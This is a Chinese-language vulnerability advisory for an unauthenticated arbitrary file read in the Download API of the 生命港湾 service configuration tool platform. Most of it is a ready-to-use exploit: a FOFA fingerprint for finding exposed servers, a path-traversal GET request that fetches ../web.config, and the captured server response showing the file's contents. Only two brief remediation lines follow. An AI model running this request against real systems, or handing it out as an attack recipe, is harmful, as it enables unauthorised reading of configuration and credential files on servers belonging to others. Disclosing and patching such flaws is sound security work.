

生命港湾 服务配置工具平台 Download 任意文件读取漏洞

漏洞描述

生命港湾服务配置工具平台 Download 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本

生命港湾 服务配置工具平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="css/markdown.css" && body="icon-512.png"

POC/EXP：

GET /api/File/Download?file=../web.config HTTP/1.1

Host: 127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Priority: u=0, i

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

1 发送请求

强制 HTTPS ☐

历史

Request

< >

数据包扫描

热加载

构造请求

🔍

1 GET /api/File/Download?file=../web.config HTTP/1.1

2 Host:

3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

5 Priority: u=0,i

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

7 Accept-Encoding: gzip, deflate

8 Upgrade-Insecure-Requests: 1

Responses 574bytes / 20ms

美化 🔍 🌈 详情

1 HTTP/1.1 200 OK

2 Content-Type: application/octet-stream

3 Date: Tue, 10 Dec 2024 12:20:36 GMT

4 Server: Kestrel

5 Content-Disposition: attachment; filename=../web.config; filename*=UTF-8'..%2Fweb.config

6 Content-Length: 574

7

8 <?xml version="1.0" encoding="utf-8"?>

9 <configuration>

10 <location path="." inheritInChildApplications="false">

11 <system.webServer>

12 <handlers>

13 <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified"/>

14 </handlers>

15 <aspNetCore processPath="dotnet" arguments=".\ICMP.Tool.Configuration.Server.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout" hostingModel="inprocess"/>

16 </system.webServer>

17 </location>

18 </configuration>

19 <!--ProjectGuid: 424FC3B4-E5F0-474C-86A2-E6598C2D4650-->

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本